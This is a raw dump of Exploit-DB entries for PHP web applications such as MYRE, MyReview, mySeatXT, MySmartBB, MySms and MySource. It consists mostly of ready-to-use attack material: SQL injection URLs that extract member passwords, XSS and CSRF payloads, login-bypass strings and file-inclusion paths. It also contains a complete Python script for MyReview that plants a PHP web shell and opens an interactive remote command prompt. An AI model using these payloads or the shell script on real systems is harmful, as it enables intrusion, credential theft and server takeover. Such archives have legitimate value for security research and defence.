deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9630
Description: MYRE Holiday Rental Manager - 'action' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-10
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( review.php action )
##
## MYRE Holiday Rental Manager
##
## http://www.myrephp.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/review.php?action=show_review&link_id=1+UNION+SELECT+0,0,concat_ws(0x3a3a,member_name,member_password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+members--
## www.TraGeT.CoM/review.php?action=show_review&link_id=1+UNION+SELECT+0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+multiavailability_calendars----
##
## www.TraGeT.CoM/search.php?cat_id1="><script>alert()</script>                << XSS
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10]
Exploit-DB #22713
Description: MYRE Realty Manager - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-14
Author: d3b4g

Exploit:
# Exploit Title:MYRE Realty Manager  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/demo2/
# Tested on: Windows 7
# Blog: d3b4g.me



  
 
----------------------------------------------------------------------------------
 () SQL Injection :

---------------------------
 http://myrephp.com/demo2/search.php?bathrooms1= {Inject SQL}





() Cross Site Scripting:-




   http://localhost/path/search.php?bathrooms1=&bathrooms2=&bedrooms1=&bedrooms2=&cat_id1=%27%20onmouseover%3dprompt%28927207%29%20bad%3d%27&city1=&community1=&country1=&look=1&nolinks1=20&order=link_id&price1=&price2=&property_type1=&sort=DESC&state1=PENNSYLVANIA&zip1=%20HTTP/1.1






() Blin SQl injection:
  


   http://localhost/path/search.php?bathrooms1=0.5%20or%20%28sleep%282%29%2b1%29%20limit%201%20--



-end-
Exploit-DB #22711
Description: Myrephp Business Directory - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-14
Author: d3b4g

Exploit:
# Exploit Title: Myrephp Business Directory,  Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/biz/
# Tested on: Windows 7
# Blog: d3b4g.me



  
 
  ----------------------------------------------------------------------------------
  () SQL Injection :

   ---------------------------

  http://localhost/path/links.php?cat=1'[Insert Query]


  () Cross Site Scripting:-


   http:localhost/path/search.php?keywords1=&keywords2=&look=%27%20onmouseover%3dprompt%28945724%29%20bad%3d%27&nolinks1=10&order=city&page=2&sort=ASC
Exploit-DB #22712
Description: MYREphp Vacation Rental Software - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-11-14
Author: d3b4g

Exploit:
# Exploit Title: MYREphp Vacation Rental Software Multiple Vulnerabilities
# Date: 13.10.201
# Exploit Author: d3b4g
# Vendor Homepage:http://myrephp.com
# Software Link: http://myrephp.com/vacation/
# Tested on: Windows 7
# Blog: d3b4g.me


 
  
 
----------------------------------------------------------------------------------
 () SQL Injection :

  This vulnerability affects
  ---------------------------
 /vacation/1_mobile/search.php.

   http://localhost/vacation/1_mobile/search.php?bathrooms1=&bedrooms1=&cata1=&cat_id1=&city1=&country1=&garage1=%28select%201%20and%20row%281%2c1%29%3e%28select%20count%28*%29%2cconcat%28concat%28CHAR%2852%29%2cCHAR%2867%29%2cCHAR%28117%29%2cCHAR%2881%29%2cCHAR%2878%29%2cCHAR%2879%29%2cCHAR%2866%29%2cCHAR%2871%29%2cCHAR%2866%29%2cCHAR%2880%29%2cCHAR%2849%29%29%2cfloor%28rand%28%29*2%29%29x%20from%20%28select%201%20union%20select%202%29a%20group%20by%20x%20limit%201%29%29&keywords1=&look=3&nolinks1=5&order=price&page=2&pool1=&price1=&price2=&sort=DESC&state1=&zip1=
 

 () Cross Site Scripting:-


   http://localhost/vacation/1_mobile/alert_members.php?action=login&link_idd=%27%20onmouseover%3dprompt%28900153%29%20bad%3d%27

 



  () Blind SQL Injection
    
  Affected items:
  ------------------
  /vacation/1_mobile/search.php 
  /vacation/widgate/request_more_information.php

  POC:  http://localhost/vacation/1_mobile/search.php?bathrooms1=-1%20or%2077%20%3d%2075&bedrooms1=1&cat_id1=1&city1=San%20Francisco&look=1&nolinks1=20&order=link_id&price1=1&price2=1&sort=DESC

 
 
 
  # note :- This script is pr0n to multiple sql injection vuln.


-end-

-end-
Exploit-DB #2397
Description: MyReview 1.9.4 - 'email' SQL Injection / Code Execution
Type: webapps
Platform: php
Date: 2006-09-19
Author: STILPU

Exploit:
# MyReview 1.9.4 SQL Injection exploit
#
#
# http://myreview.lri.fr/
#
# in functions.php starting from line 382
# ............	
#	function GetMember ($email, $db, $mode="array")
#	{
#  		$query = "SELECT * FROM PCMember WHERE email = '$email'" ;
#		result = $db->execRequete ($query);
# .......... 
# 
# $email is not checked before used into $query
# 
# for patch 
# 
# 1. add "$email=addslashes(trim($email));" before $query
# 2. use something else, very buggy script
#
# by STILPU (dmooray[a lu']gmail.com)
#


import httplib, urllib, re, urlparse, sys

def usage():
	print """
MyReview 1.9.4 SQL Injection exploit

Usage: python exploit.py http://target/pathtomyreview/

Requires warnings to be displayed so we cat get the localpath and FILES/ to be writable

by STILPU  (dmooray[a lu']gmail.com)

"""
	sys.exit(1)

def getlocalpath(server):
	params=urllib.urlencode({'email':'\'','motDePasse':'a','ident':'Log in'})
	headers={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	con = httplib.HTTPConnection(server)
	con.request("POST",path+"Admin.php",params,headers)
	resp=con.getresponse()
	data=resp.read()
	try:
		localpath=re.search('>/.*B',data[0:10000]).group().replace('>','',1).replace('B','',1)	
	except Exception: print "Exploit failed: didn`t manage to get localpath"; sys.exit(1)
	return localpath
	
def sendshell(server):
	shell="'<?php error_reporting(0); ini_set(\"max_execution_time\",0); system($_GET[cmd]); /*'"
	sql="' union select " + shell + ",0,0,0,'*/ ?>' into outfile '" +getlocalpath(server)+ "FILES/STILPU.php' from PCMember#"
	headers={"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
	params=urllib.urlencode({'email':sql,'motDePasse':'a','ident':'Log in'})
	con = httplib.HTTPConnection(server)
	con.request("POST",path+"Admin.php",params,headers)

def sendcmd(server):
	while 1:
		try:
			cmd=raw_input('sh$ ')
			cmd=cmd.replace(" ","+")
			con = httplib.HTTPConnection(target)
			con.request("GET",path+"FILES/STILPU.php?cmd="+cmd)
			resp=con.getresponse()
			data=resp.read()
			if (cmd=="exit" or cmd=="quit"): break
			print data
		except KeyboardInterrupt: break	


if __name__ == '__main__':

	if len(sys.argv) < 2:
		usage()		
	
	else:
		url = sys.argv[1]
		url = urlparse.urlsplit(url)
		target = url[1]
		path = url[2]
		
		sendshell(target)
		sendcmd(target)

# milw0rm.com [2006-09-19]
Exploit-DB #22186
Description: MyRoom 3.5 GOLD - 'save_item.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2003-01-20
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6644/info

A problem with MyRoom may make it possible for remote attackers to upload files to a vulnerable system.

Due to inadequate security checks performed by some PHP scripts, an attacker is able to upload arbitrary files to the system.

Given the ability to upload arbitrary files to the host, an attacker can exploit this vulnerability to upload malicious applications to the vulnerable system or use the system for the storage of files.

http://www.example.org/room/save_item.php?name=[NAME]&ref=test&photo=../inc/conf.php&photo_type=ttxt
Exploit-DB #35376
Description: mySeatXT 0.164 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-16
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46507/info

mySeatXT is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

mySeatXT 0.164 is vulnerable; other versions may also be affected.

http://www.example.com/myseatxt/contactform/cancel.php?lang=../../../../../../../../windows/system.ini%00
Exploit-DB #17211
Description: mySeatXT 0.1781 - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-25
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................mySeatXT 0.1781
Vulnerability...........SQL Injection
Threat Level............Critical (4/5)
Download................http://sourceforge.net/projects/myseat/
Discovery Date..........4/25/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A SQL injection vulnerability in mySeatXT 0.1781 can be exploited to
extract arbitrary data. In some environments it may be possible to
create a PHP shell.


--PoC--

http://localhost/myseat/web/classes/autocomplete.php?field='%3C?php%20system($_GET[%22CMD%22]);%20?%3E'%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23&term=
Exploit-DB #31144
Description: mySeatXT 0.2134 - SQL Injection
Type: webapps
Platform: php
Date: 2014-01-23
Author: vinicius777

Exploit:
########################################################################################
[+] Exploit: mySeatXT 0.2134                                                           #
[+] Author: vinicius777					                               #
[+] Contact: vinicius777 [AT] gmail  @vinicius777_                                     #	                 
[+] Vendor Homepage: http://sourceforge.net/projects/myseat                            #
########################################################################################

  
[1] Sql Injection
 

PoC: http://localhost/mySeatXT/web/ajax/autocomplete_res.php?term=99' ['SQL INJECT']
  


Vulnerable Code:
[+] autocomplete_res.php


$sql = "SELECT * FROM reservations WHERE reservation_guest_name LIKE '".$_GET['term']."%' GROUP BY reservation_guest_name ";
$fetch = mysql_query($sql);



#
#
# Greetz to g0tm1lk and TheColonial.
Exploit-DB #5845
Description: MyShoutPro 1.2 - Final Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-06-17
Author: Stack

Exploit:
   	     ########################################################################
             #                                                                      #
             # ...:::::MyShoutPro   Insecure Cookie Handling Vulnerability ::::.... #         
             ########################################################################
 
--------
Discoverd By :Stack
Home : http://v4-team.com
---
exploit:
javascript:document.cookie = "admin_access=1; path=/"; document.cookie = "admin_access=1; path=/";
-----

# milw0rm.com [2008-06-17]
Exploit-DB #10708
Description: MyShoutPro 1.2 Final - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : MyShoutPro v1.2 Final Cross Site Scripting Vulnerability                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : MyShoutPro v1.2 Final	// Created By Mak [http://zeldaforums.net]     |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/myshoutpro/index.php?action=showarchive&page=1<img+src=http://127.0.0.1/matrix.jpg+onload=alert[PII_REDACTED]60)>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #21900
Description: MySimpleNews 1.0 - PHP Injection
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5865/info

MySimpleNews allows users to enter news articles through a web interface. It will allow PHP code to be injected into URI parameters of the 'users.php' script, which will be stored into a MySimpleNews file (news.php3). The injected code may then be executed by the attacker by requesting the 'news.php3' script.

http://[target]/users.php?LOGIN=[PHP code]

http://[target]/users.php?DATA=[PHP code]

http://[target]/users.php?MESS=[PHP code]

PHP code injected in this manner can be executed with the following request:

http://[target]/news.php3
Exploit-DB #21901
Description: MySimpleNews 1.0 - Remote Readable Administrator Password
Type: webapps
Platform: php
Date: 2002-10-02
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/5866/info

MySimpleNews stores the administrative password in clear text in a remotely viewable HTML file.

Any remote user can view the contents of the HTML file to determine the administrator password.

The administrator password can be found in the HTML code for admin.html below:
moncode = prompt('MySimpleNews - Administration','');
if (moncode != "[ADMINPASSWORD]")
{
location.href="about:Erreur 403";
}
Exploit-DB #34769
Description: MySITE - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-27
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/43510/info

MySITE is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/print.php?id=1&pid=-1%20or%201=1 
http://www.example.com/portal/modules.php?name=Web_Links&l_op=search&query=%3Cscript%20src=http://websecurity.com.ua/webtools/xss.js%20
Exploit-DB #27743
Description: MySmartBB 1.1.2/1.1.3 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-04
Author: BoNy-m

Exploit:
source: https://www.securityfocus.com/bid/17707/info

MySmartBB is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/forums/misc.php?profile=1&id=[SQL]&[XSS]
http://www.example.com/forums/misc.php?profile=1&username=[SQL]&[XSS]
Exploit-DB #33671
Description: MySmartBB 1.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-24
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38385/info

MySmartBB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The issues affect MySmartBB 1.7.0; other versions may also be affected. 

http://www.example.com/MySBB/misc.php/>'><ScRiPt>alert[PII_REDACTED]54)</ScRiPt>
http://www.example.com/MySBB/index.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
http://www.example.com/memberlist.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
http://www.example.com/MySBB/new.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
http://www.example.com/MySBB/pm.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
http://www.example.com/MySBB/register.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
http://www.example.com/MySBB/search.php/>'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #16279
Description: MySms 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-05
Author: AtT4CKxT3rR0r1ST

Exploit:
MySms v1.0 Multiple Vulnerabilities 
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]

####################################################################

===[ Exploit ]===

[1]Auth Bypass
===============

www.site.com/MySms/admin/index.php

Username: 'or'a'='a
Password: 'or'a'='a

[2]CSRF
=======
[Add Admin]
------------

<form method="POST" name="form0" action="http://www.site/MySms/admin/adminadd.php">
<input type="hidden" name="username" value="Webadmin"/>
<input type="hidden" name="passwd" value="123456"/>
</form>

</body>
</html>


[Add User]
-----------

<form method="POST" name="form0" action="http://www.site/MySms/admin/usersadd.php">
<input type="hidden" name="username" value="user"/>
<input type="hidden" name="passwd" value="123456"/>
<input type="hidden" name="active" value="y"/>
<input type="hidden" name="email" value="Example@hotmail.com"/>
<input type="hidden" name="sex" value="m"/>
<input type="hidden" name="level" value="a"/>
<input type="hidden" name="num_msg" value="100"/>
</form>

</body>
</html>
####################################################################
Exploit-DB #26370
Description: MySource 2.14 - 'Date.php?PEAR_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15133/info
     
MySource is prone to multiple remote and local file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/pear/Date/Date.php?PEAR_PATH=http://www.example.com/[file]?
Exploit-DB #26357
Description: MySource 2.14 - 'edit_table_cell_props.php?bgcolor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
  
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_props.php?bgcolor=</style>[code]
Exploit-DB #26361
Description: MySource 2.14 - 'edit_table_cell_type_wysiwyg.php?Stylesheet' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
      
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code]
Exploit-DB #26360
Description: MySource 2.14 - 'edit_table_props.php?bgcolor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
     
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_props.php?bgcolor=</style>[code]
Exploit-DB #26359
Description: MySource 2.14 - 'edit_table_row_props.php?bgcolor' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-18
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/15132/info
    
MySource is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_row_props.php?bgcolor=</style>[code]